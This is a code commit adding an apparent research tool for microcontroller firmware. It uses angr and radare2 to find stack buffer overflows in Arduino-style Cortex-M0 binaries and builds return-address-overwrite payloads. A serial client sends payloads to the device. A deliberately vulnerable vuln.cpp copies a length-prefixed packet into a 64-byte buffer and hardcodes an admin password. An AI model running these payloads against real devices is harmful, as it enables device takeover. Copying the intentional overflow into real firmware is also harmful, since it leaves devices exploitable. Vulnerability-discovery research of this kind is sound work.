Showing
8 changed files
with
649 additions
and
0 deletions
src/API.ino.elf
0 → 100644
No preview for this file type
src/client.py
0 → 100644
1 | +import serial | ||
2 | +from threading import Thread | ||
3 | + | ||
4 | +s = serial.Serial( | ||
5 | + port = 'COM3', | ||
6 | + baudrate= 9600, | ||
7 | +) | ||
8 | +print('[+] connected') | ||
9 | +buffer = [] | ||
10 | +def cb_recv(): | ||
11 | + while True: | ||
12 | + l = s.readline().decode(encoding='ascii', errors='ignore') | ||
13 | + buffer.append(l) | ||
14 | +Thread(target=cb_recv).start() | ||
15 | +while True: | ||
16 | + if len(buffer) != 0: | ||
17 | + for l in buffer: | ||
18 | + print('received:', l) | ||
19 | + buffer.clear() | ||
20 | + inst = input("Input:") | ||
21 | + tokens = inst.split(' ') | ||
22 | + if tokens[0] == 'i': # inject a code | ||
23 | + with open(tokens[1], 'rb') as f: | ||
24 | + s.write(f.read()) | ||
25 | + elif tokens[0] == 's': # input string | ||
26 | + type = int(tokens[1]) | ||
27 | + msg = tokens[2].encode(encoding='ascii') | ||
28 | + payload = bytes([len(msg), type]) + msg | ||
29 | + print('sent:', payload) | ||
30 | + s.write(payload) | ||
31 | + elif tokens[0] == 'q': # quit | ||
32 | + s.close() | ||
33 | + break | ||
... | \ No newline at end of file | ... | \ No newline at end of file |
src/m0-angr.py
0 → 100644
1 | +from utils import * | ||
2 | +import restore | ||
3 | + | ||
4 | +import angr | ||
5 | +import claripy | ||
6 | +import logging | ||
7 | +import z3 | ||
8 | +import struct | ||
9 | +import sys | ||
10 | +import click | ||
11 | + | ||
12 | +API_PATH = 'api.txt' | ||
13 | +CFG_PATH = 'cfg.txt' | ||
14 | +VULN_PATH = 'vuln.txt' | ||
15 | + | ||
16 | +HEURISTICS_FIND_CANDIDATE = int(1e3) | ||
17 | +HEURISTICS_VALIDATE_CANDIDATE = int(1e5) | ||
18 | + | ||
19 | +GLOBAL_TABLE = { | ||
20 | + 'ep_offset': 0x00000004, | ||
21 | + 'global_start': 0x20000000, | ||
22 | + 'global_size': 0x00001000, | ||
23 | + 'stack_top': 0x20002000, | ||
24 | + 'stack_size': 0x00001000, | ||
25 | + 'dma_start': 0x50000000, | ||
26 | + 'dma_size': 0x00001000 | ||
27 | +} | ||
28 | + | ||
29 | +class M0Analyzer: | ||
30 | + def __init__(self, binPath): | ||
31 | + self.binPath = binPath | ||
32 | + self.bin = loadBinary(binPath) | ||
33 | + self.__loadAngrAndCfg() | ||
34 | + logging.getLogger('angr').propagate = False | ||
35 | + logging.getLogger('angr').setLevel('CRITICAL') | ||
36 | + | ||
37 | + def analyze(self, limit1=HEURISTICS_FIND_CANDIDATE, limit2=HEURISTICS_VALIDATE_CANDIDATE): | ||
38 | + self.limit1 = limit1 | ||
39 | + self.limit2 = limit2 | ||
40 | + self.__loadAngrAndCfg() | ||
41 | + self.__loadAPI() | ||
42 | + self.__extractCfg() | ||
43 | + self.__extractAPIList() | ||
44 | + self.__analyze() | ||
45 | + | ||
46 | + def read32(self, o): | ||
47 | + return struct.unpack('<L', self.bin[o:o+4])[0] | ||
48 | + | ||
49 | + def get_entry_offset(self): | ||
50 | + return self.read32(GLOBAL_TABLE['ep_offset']) & (~1) | ||
51 | + | ||
52 | + def generate_payload(self, out_path, code_offset, destination_offset, return_offset): | ||
53 | + with open(VULN_PATH, 'rt') as f: | ||
54 | + for line in f.readlines(): | ||
55 | + line = line.strip('\r\n ') | ||
56 | + tokens = line.split('\t') | ||
57 | + if len(tokens) != 3: | ||
58 | + continue | ||
59 | + type, offset, payload = tokens[0], int(tokens[1], 16), tokens[2] | ||
60 | + if offset == code_offset: | ||
61 | + found = (offset, payload) | ||
62 | + break | ||
63 | + if found == None: | ||
64 | + return False | ||
65 | + with open(out_path, 'wb') as f: | ||
66 | + def write_u8(v): | ||
67 | + f.write(bytes([v])) | ||
68 | + def write_u32(v): | ||
69 | + for _ in range(4): # little-endian | ||
70 | + write_u8(v & 0xff) | ||
71 | + v >>= 8 | ||
72 | + for v in payload.split(','): | ||
73 | + if v == '[offset]': | ||
74 | + write_u32(destination_offset + 2 + 1) # skip its first push instruction | ||
75 | + else: | ||
76 | + write_u8(int(v, 16)) | ||
77 | + opcode, operand = getInst(self.p.factory.block(destination_offset+1)) | ||
78 | + assert opcode.find('push') != -1 # only support calling a function with prologue | ||
79 | + lr_offset = (len(operand.split(',')) - 1) * 4 | ||
80 | + for _ in range(lr_offset): | ||
81 | + write_u8(0x00) | ||
82 | + write_u32(return_offset+1) | ||
83 | + return True | ||
84 | + | ||
85 | + def __loadAngrAndCfg(self): | ||
86 | + ep = self.get_entry_offset() | ||
87 | + main_opts = {'backend': 'blob', 'arch': 'arm', 'base_addr':0, 'entry_point': ep+1} | ||
88 | + self.p = p = angr.Project(self.binPath, main_opts=main_opts, use_sim_procedures=True) | ||
89 | + self.cfg = cfg = p.analyses.CFGFast(force_complete_scan=False, function_starts=[ep+1]) | ||
90 | + cfg.normalize() | ||
91 | + | ||
92 | + def __loadAPI(self): | ||
93 | + self.l = l = restore.RestoreAPI(self.binPath, self.cfg.functions.keys()).restore() | ||
94 | + p = self.p | ||
95 | + class HookReturn(angr.SimProcedure): | ||
96 | + def run(self, return_value=None): | ||
97 | + if return_value == None: | ||
98 | + return | ||
99 | + if return_value == 'no_return': | ||
100 | + ret = None | ||
101 | + elif return_value == 'return_sym': | ||
102 | + ret = claripy.BVS('sym', 4*8) | ||
103 | + elif return_value == 'return_zero': | ||
104 | + ret = 0x0 | ||
105 | + elif return_value == 'return_one': | ||
106 | + ret = 0x1 | ||
107 | + elif return_value == 'on_read': | ||
108 | + ret = claripy.BVS('read', 1*8) | ||
109 | + self.state.globals['on_read_history'].append({ | ||
110 | + 'addr': self.state.addr, | ||
111 | + 'bvs': ret | ||
112 | + }) | ||
113 | + return ret | ||
114 | + for offset in l: | ||
115 | + type = l[offset]['type'] | ||
116 | + if type not in ['no_return', 'return_sym', 'return_zero', 'return_one', 'on_read']: | ||
117 | + raise Exception('Invalid type: ' + type) | ||
118 | + # note that angr uses odd offsets in thumb-mode. | ||
119 | + p.hook(offset+1, HookReturn(return_value=type)) | ||
120 | + print('[+] loaded APIs') | ||
121 | + self.__findMain() | ||
122 | + | ||
123 | + def __findMain(self): | ||
124 | + # where is our init function? | ||
125 | + init_offset = None | ||
126 | + for offset in self.l: | ||
127 | + v = self.l[offset] | ||
128 | + if v['name'] == 'init': | ||
129 | + init_offset = offset | ||
130 | + break | ||
131 | + assert init_offset != None # assume that init func has been found | ||
132 | + # find its caller | ||
133 | + r = getRadareHandlerByOffsetList(self.binPath, self.cfg.functions.keys()) | ||
134 | + r.cmd('s %d' % init_offset) | ||
135 | + caller_map = json.loads(r.cmd('agCj')) | ||
136 | + caller_offset = None | ||
137 | + for v in caller_map: | ||
138 | + for callee in v['imports']: | ||
139 | + if callee == 'fcn.%08x' % init_offset: | ||
140 | + caller_offset = int(v['name'].split('.')[1], 16) | ||
141 | + break | ||
142 | + assert caller_offset != None | ||
143 | + self.main_offset = caller_offset | ||
144 | + self.l[caller_offset] = { 'name': 'main' } | ||
145 | + | ||
146 | + def __extractCfg(self): | ||
147 | + r = getRadareHandlerByOffsetList(self.binPath, self.cfg.functions.keys()) | ||
148 | + for o in self.l: | ||
149 | + v = self.l[o] | ||
150 | + n = v['name'] | ||
151 | + r.cmd('s %d' % o) | ||
152 | + r.cmd('afn %s' % n) | ||
153 | + r.cmd('pdf @@fcn > %s' % CFG_PATH) | ||
154 | + print('[+] extracted cfg') | ||
155 | + | ||
156 | + def __extractAPIList(self): | ||
157 | + with open(API_PATH, 'wt') as f: | ||
158 | + l = sorted(self.l.items()) | ||
159 | + for v in l: | ||
160 | + k, v = v | ||
161 | + f.write('%08x\t%s\n' % (k, v['name'])) | ||
162 | + print('[+] extracted api list') | ||
163 | + | ||
164 | + def __analyze(self): | ||
165 | + print('[*] find candidates') | ||
166 | + sim = self.p.factory.simgr(self.__generate_state(offset=self.get_entry_offset())) | ||
167 | + sim.use_technique(angr.exploration_techniques.DFS()) | ||
168 | + candidates = {} | ||
169 | + step_count = 0 | ||
170 | + while len(sim.active) > 0: | ||
171 | + sim.step() | ||
172 | + for state in sim.active: | ||
173 | + target_offset = state.callstack.func_addr | ||
174 | + return_offset = state.callstack.ret_addr | ||
175 | + if len(state.globals['on_read_history']) == 0: | ||
176 | + continue | ||
177 | + addr_ = state.globals['on_read_history'][-1]['addr'] | ||
178 | + if addr_ in candidates: | ||
179 | + continue | ||
180 | + print('[*] found a candidate') | ||
181 | + candidate = { | ||
182 | + 'state': state.copy(), | ||
183 | + 'target_offset': target_offset, | ||
184 | + 'return_offset': return_offset | ||
185 | + } | ||
186 | + candidates[addr_] = candidate | ||
187 | + self.__test_candidate(candidate) | ||
188 | + step_count += 1 | ||
189 | + if step_count >= self.limit1: | ||
190 | + break | ||
191 | + print('[+] analyzed all') | ||
192 | + return candidates | ||
193 | + | ||
194 | + def __test_candidate(self, candidate): | ||
195 | + sim = self.p.factory.simgr(candidate['state']) | ||
196 | + sim.use_technique(angr.exploration_techniques.DFS()) | ||
197 | + sim.explore(n=self.limit2, avoid=lambda s: (s.callstack.func_addr&(~1))==self.main_offset) | ||
198 | + | ||
199 | + def __generate_state(self, offset): | ||
200 | + state = self.p.factory.entry_state(addr=offset + 1) | ||
201 | + state.regs.r13 = state.callstack.stack_ptr = GLOBAL_TABLE['stack_top'] | ||
202 | + state.globals['start_ptr_map'] = {} | ||
203 | + state.globals['on_read_history'] = [] | ||
204 | + state.globals['has_appeared'] = {} | ||
205 | + def cb_before_write(state): # detect BOF | ||
206 | + if not state.inspect.instruction: | ||
207 | + return | ||
208 | + dest = state.solver.eval(state.inspect.mem_write_address) | ||
209 | + pc = state.solver.eval(state.regs.pc) | ||
210 | + if dest >= GLOBAL_TABLE['stack_top']-GLOBAL_TABLE['stack_size'] and dest <= GLOBAL_TABLE['stack_top']: | ||
211 | + opcode, operand = getInst(self.p.factory.block(pc)) | ||
212 | + excepts=['push', 'sub'] | ||
213 | + for key in excepts: | ||
214 | + if opcode.find(key) != -1: | ||
215 | + return | ||
216 | + if state.callstack.stack_ptr == -1: | ||
217 | + lr_ptr = GLOBAL_TABLE['stack_top'] - 4 | ||
218 | + else: | ||
219 | + lr_ptr = state.callstack.stack_ptr - 4 | ||
220 | + if pc not in state.globals['start_ptr_map']: | ||
221 | + state.globals['start_ptr_map'][pc] = dest | ||
222 | + if dest >= lr_ptr and dest < lr_ptr + 4: | ||
223 | + if state.addr in state.globals['has_appeared']: | ||
224 | + return | ||
225 | + else: | ||
226 | + state.globals['has_appeared'][state.addr] = True | ||
227 | + payload = [] | ||
228 | + history = state.globals['on_read_history'] | ||
229 | + for v in history[:-1]: # except the last element | ||
230 | + payload.append(state.solver.eval(v['bvs'])) | ||
231 | + self.__write_vuln_info({ | ||
232 | + 'type': 'bof', | ||
233 | + 'addr': state.addr, | ||
234 | + 'payload': payload | ||
235 | + }) | ||
236 | + def cb_before_read(state): # simulate memory-mapped io | ||
237 | + if not state.inspect.instruction: | ||
238 | + return | ||
239 | + dest = state.solver.eval(state.inspect.mem_read_address) | ||
240 | + if dest >= GLOBAL_TABLE['dma_start'] and dest < GLOBAL_TABLE['dma_start'] + GLOBAL_TABLE['dma_size']: | ||
241 | + state.memory.store(dest, claripy.BVS(str(dest), 4*8)) # at most 32bits | ||
242 | + state.inspect.b('mem_write', when=angr.BP_BEFORE, action=cb_before_write) | ||
243 | + state.inspect.b('mem_read', when=angr.BP_BEFORE, action=cb_before_read) | ||
244 | + return state | ||
245 | + | ||
246 | + def __write_vuln_info(self, info): | ||
247 | + with open(VULN_PATH, 'a') as f: | ||
248 | + type = info['type'] | ||
249 | + addr = '%08x' % (info['addr'] & (~1)) | ||
250 | + payload = ','.join(list(map(lambda v: '%02x' % v, info['payload']))) + ',' + '[offset]' | ||
251 | + s = f'{type}\t{addr}\t{payload}\n' | ||
252 | + f.write(s) | ||
253 | + print('[*] found a vuln:', s) | ||
254 | + | ||
255 | +@click.command() | ||
256 | +@click.option('--type', required=True) | ||
257 | +@click.option('--name', required=True) | ||
258 | +@click.option('--limit1', required=False, default=HEURISTICS_FIND_CANDIDATE) | ||
259 | +@click.option('--limit2', required=False, default=HEURISTICS_VALIDATE_CANDIDATE) | ||
260 | +@click.option('--out', required=False, default='') | ||
261 | +@click.option('--code', required=False, default='') | ||
262 | +@click.option('--dest', required=False, default='') | ||
263 | +@click.option('--ret', required=False, default='0') | ||
264 | +def main(type, name, limit1, limit2, out, code, dest, ret): | ||
265 | + analyzer = M0Analyzer(name) | ||
266 | + assert type == 'a' or type == 'g' | ||
267 | + if type == 'a': # analyze | ||
268 | + analyzer.analyze(limit1, limit2) | ||
269 | + elif type == 'g': # generate | ||
270 | + analyzer.generate_payload(out, int(code, 16), int(dest, 16), int(ret, 16)) | ||
271 | + print('[+] done') | ||
272 | + exit(0) | ||
273 | + | ||
274 | +if __name__ == "__main__": | ||
275 | + main() | ||
... | \ No newline at end of file | ... | \ No newline at end of file |
src/requirements.txt
0 → 100644
src/restore.py
0 → 100644
1 | +from utils import * | ||
2 | +import re | ||
3 | +from capstone import * | ||
4 | + | ||
5 | +# 완전히 다른 놈이면 0.000... 이렇게 나오더라 | ||
6 | +THRESH_HOLD = 0.80 | ||
7 | +API_ELF_PATH = 'API.ino.elf' | ||
8 | +API_DB_PATH = 'sym_func.db' | ||
9 | + | ||
10 | +class RestoreAPI: | ||
11 | + def __init__(self, binPath, functionOffsets): | ||
12 | + funcs = readFunctionInfoFromElf(API_ELF_PATH) | ||
13 | + funcs = self.__refineByDB(funcs) | ||
14 | + apiList = {} | ||
15 | + angrFuncList = readFunctionInfoFromBin(binPath, functionOffsets) | ||
16 | + for func in funcs: | ||
17 | + found = self.__findMostSimilarFunction(func, angrFuncList) | ||
18 | + if found['prob'] >= THRESH_HOLD: | ||
19 | + apiList[found['offset']] = { | ||
20 | + 'type': func['type'], | ||
21 | + 'name': func['name'] | ||
22 | + } | ||
23 | + print(found['prob'], hex(found['offset']), func['name']) | ||
24 | + print('[*] found api count:', len(apiList)) | ||
25 | + self.apiList = apiList | ||
26 | + | ||
27 | + def __findMostSimilarFunction(self, src, angrFuncList): | ||
28 | + BoB = {'offset': -1, 'prob': 0.0, 'ops': []} | ||
29 | + for angrFunc in angrFuncList: | ||
30 | + prob = compareFunction(src['ops'], angrFunc['ops']) | ||
31 | + if prob > BoB['prob']: | ||
32 | + BoB['offset'] = angrFunc['offset'] | ||
33 | + BoB['prob'] = prob | ||
34 | + BoB['ops'] = angrFunc['ops'] | ||
35 | + return BoB | ||
36 | + | ||
37 | + def __refineByDB(self, funcs): | ||
38 | + dbMap = self.__readDB(API_DB_PATH) | ||
39 | + ret = [] | ||
40 | + for func in funcs: | ||
41 | + info = self.__findInfoByName(dbMap, func['name']) | ||
42 | + if info == None: | ||
43 | + continue | ||
44 | + name = func['name'] | ||
45 | + name = name[name.find('.')+1:] | ||
46 | + func['name'] = name | ||
47 | + print(f'db: {name}') | ||
48 | + func['type'] = info['type'] | ||
49 | + ret.append(func) | ||
50 | + return ret | ||
51 | + | ||
52 | + def __readDB(self, dbPath): | ||
53 | + ret = [] | ||
54 | + currentType = None | ||
55 | + with open(dbPath, 'rt') as f: | ||
56 | + for s in f.readlines(): | ||
57 | + s = s.strip(' \n') | ||
58 | + if s == '': | ||
59 | + continue | ||
60 | + if s[0] == '#': | ||
61 | + continue | ||
62 | + t = re.findall('^!\((.+)\)$', s) | ||
63 | + if len(t) == 1: | ||
64 | + currentType = t[0] | ||
65 | + else: | ||
66 | + # it must be substring of function name! | ||
67 | + ret.append({'name': s, 'type': currentType}) | ||
68 | + return ret | ||
69 | + | ||
70 | + def __findInfoByName(self, dbMap, name): | ||
71 | + for v in dbMap: | ||
72 | + if v['name'] in name: | ||
73 | + return v | ||
74 | + return None | ||
75 | + | ||
76 | + def restore(self): | ||
77 | + return self.apiList | ||
78 | + | ||
... | \ No newline at end of file | ... | \ No newline at end of file |
src/sym_func.db
0 → 100644
1 | +################################################### | ||
2 | +!(no_return) | ||
3 | +################################################### | ||
4 | +init | ||
5 | +Print.write | ||
6 | +Print::write | ||
7 | +# those are too short for using in comparison. | ||
8 | +# they can cause False-Positive. | ||
9 | +#Print.print | ||
10 | +#Print::print | ||
11 | +#Print::println | ||
12 | +printNumber | ||
13 | +# system functions | ||
14 | +CLK_ | ||
15 | +SystemCoreClockUp | ||
16 | +libc_init_array | ||
17 | +HardwareSerial::write | ||
18 | +#HardwareSerial::flush | ||
19 | +digitalWrite | ||
20 | + | ||
21 | +################################################### | ||
22 | +!(return_sym) | ||
23 | +################################################### | ||
24 | +digitalRead | ||
25 | + | ||
26 | +################################################### | ||
27 | +!(return_zero) | ||
28 | +################################################### | ||
29 | + | ||
30 | +################################################### | ||
31 | +!(return_one) | ||
32 | +################################################### | ||
33 | +HardwareSerial::available | ||
34 | + | ||
35 | +################################################### | ||
36 | +!(on_read) | ||
37 | +################################################### | ||
38 | +HardwareSerial.read | ||
... | \ No newline at end of file | ... | \ No newline at end of file |
src/utils.py
0 → 100644
1 | +import r2pipe | ||
2 | +import angr | ||
3 | +import cle | ||
4 | +import json | ||
5 | + | ||
6 | +def loadBinary(path): | ||
7 | + with open(path, 'rb') as f: | ||
8 | + return f.read() | ||
9 | + | ||
10 | +def getInst(block): | ||
11 | + inst = block.capstone.insns[0] | ||
12 | + # size, address | ||
13 | + # mnemonic: opcode | ||
14 | + # op_str: operand | ||
15 | + return inst.mnemonic, inst.op_str | ||
16 | + | ||
17 | +def getInsts(block): | ||
18 | + ret = [] | ||
19 | + for inst in block.capstone.insns: | ||
20 | + opcode = inst.mnemonic | ||
21 | + ret.append(opcode) | ||
22 | + return ret | ||
23 | + # size, address | ||
24 | + # mnemonic: opcode | ||
25 | + # op_str: operand | ||
26 | + | ||
27 | +def readFunctionInfoFromElf(elfPath): | ||
28 | + r = r2pipe.open(elfPath, flags=['-2']) | ||
29 | + r.cmd('aaa') | ||
30 | + ret = [] | ||
31 | + for f in r.cmd('pdfj @@fcn').split('\n'): | ||
32 | + if f == '': continue | ||
33 | + f = json.loads(f) | ||
34 | + addr = int(f['addr']) | ||
35 | + size = int(f['size']) | ||
36 | + name = f['name'] | ||
37 | + ops = [] | ||
38 | + for v in f['ops']: | ||
39 | + if 'opcode' in v: | ||
40 | + ops.append(v['opcode'].split(' ')[0]) | ||
41 | + ret.append({'addr':addr, 'size':size, 'name':name, 'ops':ops}) | ||
42 | + return ret | ||
43 | + | ||
44 | +def getRadareHandlerByOffsetList(binPath, functionOffsets): | ||
45 | + r = r2pipe.open(binPath, ['-2', '-aarm', '-b16', '-m0x0']) | ||
46 | + for offset in functionOffsets: | ||
47 | + r.cmd(f"s {offset&(~1)}") | ||
48 | + r.cmd('aaa') | ||
49 | + return r | ||
50 | + | ||
51 | +def readFunctionInfoFromBin(binPath, functionOffsets): | ||
52 | + ret = [] | ||
53 | + r = getRadareHandlerByOffsetList(binPath, functionOffsets) | ||
54 | + for f in r.cmd('pdfj @@fcn').split('\n'): | ||
55 | + if f == '': continue | ||
56 | + f = json.loads(f) | ||
57 | + addr = int(f['addr']) | ||
58 | + size = int(f['size']) | ||
59 | + ops = [] | ||
60 | + for v in f['ops']: | ||
61 | + if 'opcode' in v: | ||
62 | + ops.append(v['opcode'].split(' ')[0]) | ||
63 | + ret.append({'offset':addr, 'size':size, 'name':'none', 'ops':ops}) | ||
64 | + return ret | ||
65 | + | ||
66 | +def levenshtein(s1, s2, debug=False): | ||
67 | + if len(s1) < len(s2): | ||
68 | + return levenshtein(s2, s1, debug) | ||
69 | + | ||
70 | + if len(s2) == 0: | ||
71 | + return len(s1) | ||
72 | + | ||
73 | + previous_row = range(len(s2) + 1) | ||
74 | + for i, c1 in enumerate(s1): | ||
75 | + current_row = [i + 1] | ||
76 | + for j, c2 in enumerate(s2): | ||
77 | + insertions = previous_row[j + 1] + 1 | ||
78 | + deletions = current_row[j] + 1 | ||
79 | + substitutions = previous_row[j] + (c1 != c2) | ||
80 | + current_row.append(min(insertions, deletions, substitutions)) | ||
81 | + | ||
82 | + if debug: | ||
83 | + print(current_row[1:]) | ||
84 | + | ||
85 | + previous_row = current_row | ||
86 | + | ||
87 | + return previous_row[-1] | ||
88 | + | ||
89 | +def compareFunction(f1, f2): | ||
90 | + distance = levenshtein(f1, f2) | ||
91 | + return 1.0 - distance / max([len(f1), len(f2)]) | ||
92 | + | ||
93 | + def ngram(s, num): | ||
94 | + res = [] | ||
95 | + slen = len(s) - num + 1 | ||
96 | + for i in range(slen): | ||
97 | + #print('a',s) | ||
98 | + ss = (s[i], s[i+1]) | ||
99 | + #ss = s[i:i+num] | ||
100 | + res.append(ss) | ||
101 | + return res | ||
102 | + def diff_ngram(sa, sb, num): | ||
103 | + a = ngram(sa, num) | ||
104 | + b = ngram(sb, num) | ||
105 | + r = [] | ||
106 | + cnt = 0 | ||
107 | + for i in a: | ||
108 | + for j in b: | ||
109 | + if i == j: | ||
110 | + cnt += 1 | ||
111 | + r.append(i) | ||
112 | + #return cnt / max([len(a), len(b)]), r | ||
113 | + return cnt, r | ||
114 | + prob, _ = diff_ngram(f1, f2, 2) | ||
115 | + return prob | ||
116 | + | ||
117 | +# readFunctionInfoFromElf('API.ino.elf') | ||
... | \ No newline at end of file | ... | \ No newline at end of file |
src/vuln/vuln.cpp
0 → 100644
1 | +// | ||
2 | +// Global Variables | ||
3 | +// | ||
4 | +// A flag which determines the input mode. | ||
5 | +bool isAdmin = false; | ||
6 | +// It may be changed every time the device boots up. | ||
7 | +const char PASSWORD[] = "033BD94B1168D7E4F0D644C3C95E35BF"; | ||
8 | + | ||
9 | +// | ||
10 | +// Definitions | ||
11 | +// | ||
12 | + | ||
13 | +#define BUFFER_SIZE 64 | ||
14 | + | ||
15 | +struct Packet { | ||
16 | + unsigned char size; | ||
17 | + unsigned char type; | ||
18 | + unsigned char data[BUFFER_SIZE]; | ||
19 | +}; | ||
20 | + | ||
21 | +namespace User { | ||
22 | + enum PacketType { | ||
23 | + Hello = 0x00, | ||
24 | + Auth | ||
25 | + }; | ||
26 | + void onInput(Packet&); | ||
27 | + void switchToAdmin(); | ||
28 | +} | ||
29 | + | ||
30 | +namespace Admin { | ||
31 | + enum PacketType { | ||
32 | + Hello = 0x00 | ||
33 | + }; | ||
34 | + void onInput(Packet&); | ||
35 | +} | ||
36 | + | ||
37 | +char recv() { | ||
38 | + while(!Serial.available()); | ||
39 | + return Serial.read(); | ||
40 | +} | ||
41 | + | ||
42 | +void setup() { | ||
43 | + Serial.begin(9600); | ||
44 | + Serial.println("[+] Initialized"); | ||
45 | +} | ||
46 | + | ||
47 | +void loop() { | ||
48 | + if(Serial.available()) { | ||
49 | + Packet packet; | ||
50 | + packet.size = recv(); | ||
51 | + packet.type = recv(); | ||
52 | + int i = 0; | ||
53 | + while(true) { | ||
54 | + if(i >= packet.size) break; | ||
55 | + packet.data[i++] = recv(); | ||
56 | + } | ||
57 | + if(isAdmin) { | ||
58 | + Admin::onInput(packet); | ||
59 | + } else { | ||
60 | + User::onInput(packet); | ||
61 | + } | ||
62 | + } | ||
63 | +} | ||
64 | + | ||
65 | +void User::onInput(Packet &packet) { | ||
66 | + switch(packet.type) { | ||
67 | + case User::PacketType::Hello: | ||
68 | + Serial.print("Hello,"); | ||
69 | + Serial.println((char*)packet.data); | ||
70 | + break; | ||
71 | + case User::PacketType::Auth: | ||
72 | + if(!memcmp(packet.data, PASSWORD, sizeof(PASSWORD))) { | ||
73 | + switchToAdmin(); | ||
74 | + } else { | ||
75 | + Serial.println("[*] Invalid password"); | ||
76 | + } | ||
77 | + break; | ||
78 | + default: | ||
79 | + Serial.print("[*] Invalid packet type: "); | ||
80 | + Serial.println(packet.type); | ||
81 | + break; | ||
82 | + } | ||
83 | +} | ||
84 | + | ||
85 | +void Admin::onInput(Packet &packet) { | ||
86 | + switch(packet.type) { | ||
87 | + case Admin::PacketType::Hello: | ||
88 | + Serial.print("You are an admin, "); | ||
89 | + Serial.println((char*)packet.data); | ||
90 | + break; | ||
91 | + default: | ||
92 | + Serial.print("[*] Invalid packet type: "); | ||
93 | + Serial.println(packet.type); | ||
94 | + break; | ||
95 | + } | ||
96 | +} | ||
97 | + | ||
98 | +void User::switchToAdmin() { | ||
99 | + isAdmin = true; | ||
100 | + Serial.println("[*] Switched to admin mode"); | ||
101 | +} | ||
... | \ No newline at end of file | ... | \ No newline at end of file |
-
Please register or login to post a comment